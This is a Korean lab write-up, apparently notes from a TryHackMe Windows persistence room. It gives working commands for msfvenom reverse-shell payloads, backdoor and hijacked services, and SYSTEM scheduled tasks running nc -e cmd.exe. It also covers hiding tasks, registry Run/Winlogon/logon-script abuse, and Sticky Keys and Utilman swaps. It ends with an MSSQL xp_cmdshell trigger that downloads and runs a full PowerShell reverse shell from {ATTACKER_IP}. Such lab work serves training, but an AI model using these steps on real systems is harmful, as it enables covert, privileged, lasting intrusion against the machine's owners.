TASK 4. 서비스 남용
4.1 Creating backdoor services
1) 리버스쉘 페이로드 만들기
msfvenom -p windows/x64/shell_reverse_tcp LHOST={ATTACKER_IP} LPORT=4448 -f exe-service -o rev-svc.exe
* 포맷이 exe-service이다.
2) 가져오기
scp root@{ATTACKER_IP}:/root/rev-svc.exe c:\windows\
3) nc 리스닝
4) 서비스 등록하기
sc.exe create THMservice2 binPath= "C:\windows\rev-svc.exe" start= auto
sc.exe start THMservice2
4.2 Modifying existing services
블루팀이 네트워크 내 새로운 서비스 생성을 모니터링할 수도 있다. 탐지를 피하기 위해 기존 서비스를 재사용하는 방법도 존재한다.
보통 비활성화된 서비스는 사용자가 인지하지 못한 채 변경될 수 있으므로 좋은 백도어 후보가 될 수 있다.
1) 서비스 열거
sc.exe query state=all
stopped 상태의 서비스를 목표로 한다.
2) 서비스 구성 쿼리
sc.exe qc THMService3
마침 BINARY_PATH_NAME 이 LocalSystem이다. 해당 서비스는 SYSTEM 권한으로 실행된다.
3) nc 리스닝
4) PATH 변경
sc.exe config THMservice3 binPath= "C:\Windows\rev-svc.exe" start= auto obj= "LocalSystem"
BINARY_PATH_NAME를 변경하자.
TASK 5. 예약 작업 남용
5.1 Task Scheduler
작업을 예약하는 가장 일반적인 방법 : schtasks
1) 예약 작업 생성
schtasks /create /sc minute /mo 1 /tn {TASK_NAME} /tr "c:\tools\nc64 -e cmd.exe {ATTACKER_IP} 4449" /ru SYSTEM
→ 1분마다 리버스쉘을 실행하는 작업
2) 확인
schtasks /query /tn {TASK_NAME}
3) 예약 작업 숨기기
SD를 삭제하여 시스템의 모든 사용자에게 해당 작업이 보이지 않도록 하자.
→ SD : 예약된 작업에 액세스할 수 있는 사용자를 나타내는 ACL
→ Windows에서는 사용 권한이 있는 작업만 표시하므로, SD를 삭제하면 해당 작업을 볼 수 없음
a. SYSTEM 권한으로 rededit을 오픈
PsExec64.exe -s -i regedit
b. SD 제거
예약된 작업의 SD는 아래 경로에서 확인 가능하다.
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\{작업명}
여기서 생성한 작업의 SD를 제거하면 된다.
c. 제거되었는지 확인
schtasks /query /tn thm-taskbackdoor
TASK 6. 로그온
6.1 Startup folder
사용자가 시스템에 로그인할 떄 특정 페이로드가 실행되도록 하는 방법이다.
[각 사용자의 시작 프로그램]
C:\Users\{username}\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
[모든 사용자의 시작 프로그램]
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp
1) 리버스쉘 페이로드 생성
msfvenom -p windows/x64/shell_reverse_tcp LHOST={ATTACKER_IP} LPORT=4444 -f exe -o rev_shell.exe
2) 타겟에 업로드 후, 시작프로그램 폴더로 이동
scp root@{ATTACKER_IP}:/root/rev_shell.exe .\
3) nc 리스닝
4) 로그아웃 후 로그온
6.2 Run / RunOnce
1) 리버스쉘 페이로드 생성
- C:\Windows 경로로 페이로드 이동
2) HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 에서 시작 프로그램 추가
→ RFG_EXPAND_SZ
3) nc 리스닝
4) 로그아웃 후 로그온
6.3 Winlogon
사용자 프로필을 로드하는 Windows 구성 요소인 Winlogon을 이용한 방법이다.
1)
아래 경로로 접근하면 Winlogon 관련 키를 확인할 수 있다.
HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\
여기서 타겟은 Shell 또는 Userinit이 된다.
둘다 exe 파일을 실행하도록 되어 있는데, 파일을 리버스쉘 페이로드로 변경해줄 것이다.
2) 리버스쉘 페이로드 생성
- C:\Windows 경로로 페이로드 이동
3) Shell 또는 Userinit의 Data값 변경
4) nc 리스닝
5) 로그아웃 후 로그온
6.4 Logon scripts
사용자 프로필 로드 시 수행되는 작업 중 하나는, UserInitMprLogonScript 환경변수를 확인하는 것이다.
해당 환경변수를 사용하여 로그온 시 실행될 스크립트를 할당할 수 있는데, 기본적으로 설정되어 있지 않기 때문에 변수를 생성해주어야 한다.
1) 아래 경로로 접근하여 현 사용자의 환경변수를 확인
HKCU\Environment
* HKCU로, 여기서 수행하는 작업은 현 사용자에게만 적용된다.
2) 리버스쉘 페이로드 생성
- C:\Windows 경로로 페이로드 이동
3) UserInitMprLogonScript 환경변수 생성 후 Date 값 설정
4) nc 리스닝
5) 로그아웃 후 로그온
TASK 7 Backdooring the Login Screen / RDP
7.1 Sticky Keys
shift 키를 다섯 번 누르면 뜨는 고정 키 팝업을 이용한 방법이다.
이 떄, C:\Windows\System32\sethc.exe 파일이 실행되는데, 이를 cmd로 변경하면 로그인하지 않아도 cmd를 실행할 수 있다.
1) 파일의 소유권을 현재 사용자로 가져오기
takeown /f c:\Windows\System32\sethc.exe
2) 수정권한 부여하기
icacls C:\Windows\System32\sethc.exe /grant Administrator:F
3) sethc.exe 파일 백업 후, cmd 파일로 대체하기
move C:\Windows\System32\sethc.exe C:\Windows\System32\sethc_bak.exe
copy c:\Windows\System32\cmd.exe C:\Windows\System32\sethc.exe
4) 로그인 화면에서 cmd 열기
7.2 Utilman
Utilman은 로그인 화면에서 접근성 옵션을 제공하는 기능이다.
해당 버튼을 클릭하면 C:\Windows\System32\Utilman.exe 이 SYSTEM 권한으로 실행된다. 7.1과 동일하게 해당 파일을 cmd로 대체할 것이다.
1) 파일의 소유권을 현재 사용자로 가져오기
takeown /f c:\Windows\System32\utilman.exe
2) 수정권한 부여하기
icacls C:\Windows\System32\utilman.exe /grant Administrator:F
3) utilman.exe 파일 백업 후, cmd 파일로 대체하기
move C:\Windows\System32\utilman.exe C:\Windows\System32\utilman_bak.exe
copy c:\Windows\System32\cmd.exe C:\Windows\System32\utilman.exe
4) 로그인 화면에서 cmd 열기
TASK 8 Persisting Through Existing Services
Windows 기능 외에도 다른 방법을 사용할 수 있다.
8.1 Web Shell
타겟의 웹 서버 경로에 웹쉘 업로드하기
8.2 MSSQL
MSSQL의 트리거를 사용하면 DB에서 특정 이벤트 발생 시 수행할 작업을 바인딩할 수 있다.
: INSERT, DELETE, UPDATE등의 이벤트 발생 → 트리거 발동
1) 저장 프로시저 활성화
MSSQL에서 기본적으로 제공하는 저장프로시저인 xp_cmdshel를 활성화한다.
*시스템 콘솔에서 직접 명령을 실행할 수 있도록 하는 프로시저로, 기본적으로 비활성화 상태임
a. Microsoft SQL Server Management Studio 18 열기
b. New Query
c. 쿼리 실행
sp_configure 'Show Advanced Options',1;
RECONFIGURE;
GO
sp_configure 'xp_cmdshell',1;
RECONFIGURE;
GO
2)
xp_cmdshell는 sysadmin 역할에 속한 사용자만 수행 가능하다.
sysadmin에 속한 sa 계정을 가장할 수 있는 권한을 부여하는 쿼리를 실행해주자.
USE master
GRANT IMPERSONATE ON LOGIN::sa to [Public];
3) 트리거 구성
USE HRDB
# Employees 테이블에 새로운 레코드가 삽입될 때 실행된다
CREATE TRIGGER [sql_trigger]
ON HRDB.dbo.Employees
FOR INSERT AS
# 트리거는 sa 계정으로 실행되며, "xp_cmdshell"을 사용하여 Powershell 명령을 실행한다
EXECUTE AS LOGIN = 'sa'
EXEC master..xp_cmdshell 'Powershell -c "IEX(New-Object net.webclient).downloadstring(''http://{ATTACKER_IP}:8888/script.ps1'')"';
4) 공격자 서버에 script.ps1 생성
$client = New-Object System.Net.Sockets.TCPClient("{ATTACKER_IP}",4444);
$stream = $client.GetStream();
[byte[]]$bytes = 0..65535|%{0};
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){
$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);
$sendback = (iex $data 2>&1 | Out-String );
$sendback2 = $sendback + "PS " + (pwd).Path + "> ";
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
$stream.Write($sendbyte,0,$sendbyte.Length);
$stream.Flush()
};
$client.Close()
5) 공격자 서버에서 간단한 웹서버 열기 + nc 리스닝
python3 -m http.server 8888
6) 타겟 웹서버로 접근하여 INSERT 이벤트 수행
'Play > THM' 카테고리의 다른 글
Breaching Active Directory (2) (1) | 2023.10.12 |
---|---|
Breaching Active Directory (1) (0) | 2023.09.27 |
Windows Local Persistence (2) (0) | 2023.09.25 |
Windows Local Persistence (1) (0) | 2023.09.25 |
THM Offensive Pentesting - Gamezone (0) | 2023.07.20 |